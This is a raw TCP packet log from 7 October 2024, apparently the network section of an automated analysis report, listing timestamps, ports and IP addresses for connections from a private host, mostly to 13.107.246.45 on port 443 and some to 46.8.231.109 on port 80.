Oct 7, 2024 19:33:12.071418047 CEST	443	49708	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.079646111 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.079701900 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.079750061 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.079916954 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.079931974 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.079941988 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.079951048 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.110325098 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.110358000 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.110433102 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.110449076 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.110614061 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.110630989 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.110641003 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.110760927 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.110793114 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.110831976 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.164700031 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.164751053 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.165004015 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.165384054 CEST	49710	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.165416002 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.165483952 CEST	49710	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.165680885 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.165709019 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.165958881 CEST	49710	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.165980101 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.166790962 CEST	49712	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.166838884 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.166914940 CEST	49712	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.166955948 CEST	49711	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.166990995 CEST	443	49711	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.167015076 CEST	49713	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.167032957 CEST	49712	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.167037010 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.167047024 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.167057991 CEST	49711	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.167109966 CEST	49713	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.167196989 CEST	49713	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.167212009 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.167270899 CEST	49711	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.167304039 CEST	443	49711	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.803690910 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.807329893 CEST	49713	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.807360888 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.807898045 CEST	49713	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.807907104 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.808900118 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.810112953 CEST	49710	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.810159922 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.810514927 CEST	49710	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.810527086 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.818152905 CEST	443	49711	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.818487883 CEST	49711	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.818496943 CEST	443	49711	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.819413900 CEST	49711	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.819418907 CEST	443	49711	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.822695017 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.823251009 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.823282957 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.823632002 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.823648930 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.825411081 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.825872898 CEST	49712	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.825889111 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.826256037 CEST	49712	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.826261044 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.898750067 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.898822069 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.898961067 CEST	49713	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.899350882 CEST	49713	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.899365902 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.899406910 CEST	49713	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.899414062 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.904191971 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.904337883 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.904401064 CEST	49710	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.908174038 CEST	49710	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.908174992 CEST	49710	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.908211946 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.908219099 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.917470932 CEST	443	49711	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.917521954 CEST	443	49711	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.917572975 CEST	49711	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.922519922 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.922641993 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.922698021 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.928421974 CEST	49711	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.928421974 CEST	49711	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.928443909 CEST	443	49711	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.928452969 CEST	443	49711	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.932848930 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.932848930 CEST	49709	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.932884932 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.932900906 CEST	443	49709	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.935733080 CEST	49714	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.935760021 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.935811996 CEST	49714	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.938352108 CEST	49715	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.938385963 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.938471079 CEST	49715	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.939414024 CEST	49714	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.939430952 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.941370010 CEST	49715	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.941385031 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.944257975 CEST	49716	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.944283009 CEST	443	49716	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.944755077 CEST	49716	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.945488930 CEST	49717	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.945518017 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.945528030 CEST	49716	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.945540905 CEST	443	49716	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.945571899 CEST	49717	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.951102018 CEST	49717	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:12.951118946 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:12.991399050 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:12.997824907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:12.997905016 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:12.998617887 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:13.003807068 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:13.144664049 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.145411968 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.145472050 CEST	49712	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.146462917 CEST	49712	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.146462917 CEST	49712	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.146480083 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.146488905 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.150388002 CEST	49719	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.150424957 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.150554895 CEST	49719	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.151113987 CEST	49719	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.151127100 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.543477058 CEST	49671	443	192.168.2.7	204.79.197.203
Oct 7, 2024 19:33:13.554946899 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.558530092 CEST	49714	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.558562040 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.559233904 CEST	49714	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.559238911 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.576303959 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.577734947 CEST	49715	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.577745914 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.578186035 CEST	49715	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.578190088 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.579037905 CEST	443	49716	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.582839012 CEST	49716	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.582855940 CEST	443	49716	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.583719969 CEST	49716	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.583724976 CEST	443	49716	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.604338884 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:13.604403973 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:13.612756968 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:13.618796110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:13.651693106 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.651865005 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.651910067 CEST	49714	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.681122065 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.681170940 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.681257010 CEST	49715	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.681633949 CEST	443	49716	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.681677103 CEST	443	49716	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.681881905 CEST	49716	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.719926119 CEST	49714	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.719926119 CEST	49714	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.719938040 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.719947100 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.721457005 CEST	49715	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.721515894 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.721533060 CEST	49715	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.721543074 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.722347975 CEST	49716	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.722347975 CEST	49716	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.722378969 CEST	443	49716	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.722393990 CEST	443	49716	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.725590944 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.725739002 CEST	49721	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.725776911 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.725914001 CEST	49721	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.727221966 CEST	49722	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.727241993 CEST	443	49722	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.727299929 CEST	49722	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.728007078 CEST	49723	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.728040934 CEST	443	49723	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.728094101 CEST	49723	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.728446960 CEST	49717	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.728477001 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.728971004 CEST	49717	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.728977919 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.729300022 CEST	49721	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.729300022 CEST	49722	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.729315996 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.729330063 CEST	443	49722	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.729569912 CEST	49723	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.729585886 CEST	443	49723	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.766592026 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.784427881 CEST	49719	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.784440041 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:13.791568041 CEST	49719	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:13.791580915 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.086625099 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.086699963 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.086808920 CEST	49717	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.086939096 CEST	49717	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.086955070 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.086966991 CEST	49717	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.086972952 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.089714050 CEST	49724	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.089744091 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.090013981 CEST	49724	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.090576887 CEST	49724	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.090610027 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.158521891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.158585072 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:14.159780979 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:14.164613008 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.171869040 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.172271967 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.176084042 CEST	49719	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.177304983 CEST	49719	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.177325964 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.177339077 CEST	49719	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.177346945 CEST	443	49719	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.180408001 CEST	49725	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.180433989 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.180605888 CEST	49725	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.183352947 CEST	49725	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.183367014 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.312091112 CEST	443	49723	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.312594891 CEST	49723	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.312614918 CEST	443	49723	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.313153028 CEST	49723	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.313160896 CEST	443	49723	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.369163036 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.369226933 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:14.369726896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.369774103 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:14.371161938 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:14.376045942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.386167049 CEST	443	49722	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.386678934 CEST	49722	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.386687040 CEST	443	49722	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.386910915 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.387109995 CEST	49722	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.387125015 CEST	443	49722	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.387491941 CEST	49721	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.387502909 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.388135910 CEST	49721	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.388147116 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.413500071 CEST	443	49723	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.413552999 CEST	443	49723	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.413645029 CEST	49723	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.414247036 CEST	49723	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.414261103 CEST	443	49723	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.414272070 CEST	49723	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.414278030 CEST	443	49723	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.417879105 CEST	49726	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.417907953 CEST	443	49726	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.418082952 CEST	49726	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.418246031 CEST	49726	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.418256998 CEST	443	49726	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.486753941 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.486927032 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.487040997 CEST	49721	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.487134933 CEST	49721	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.487152100 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.487257957 CEST	49721	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.487265110 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.489590883 CEST	443	49722	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.489665985 CEST	443	49722	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.489849091 CEST	49722	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.489849091 CEST	49722	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.489878893 CEST	49722	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.489886045 CEST	443	49722	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.490097046 CEST	49728	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.490133047 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.490359068 CEST	49728	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.490482092 CEST	49728	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.490499020 CEST	443	49728	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.492595911 CEST	49729	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.492633104 CEST	443	49729	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.492794037 CEST	49729	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.493009090 CEST	49729	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.493020058 CEST	443	49729	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.550993919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.551057100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.551069021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.551084995 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:14.551100969 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.551105022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:14.551152945 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:14.555819988 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.555833101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.555876970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:14.557776928 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:14.563025951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.699925900 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 7, 2024 19:33:14.732871056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.733030081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:14.733825922 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.734321117 CEST	49724	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.734333992 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.734810114 CEST	49724	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.734817982 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.747546911 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:14.747546911 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:14.752547979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.752559900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.752599001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.752645969 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.752717018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.752769947 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:14.830343008 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.830405951 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.830490112 CEST	49724	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.830729008 CEST	49724	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.830744982 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.830775023 CEST	49724	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.830784082 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.831167936 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.832089901 CEST	49725	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.832106113 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.832302094 CEST	49725	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.832305908 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.834520102 CEST	49730	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.834547997 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.834614992 CEST	49730	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.834815979 CEST	49730	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.834827900 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.930218935 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.930284977 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:14.930368900 CEST	49725	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.931288958 CEST	49725	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:14.931288958 CEST	49725	443	192.168.2.7	13.107.246.45
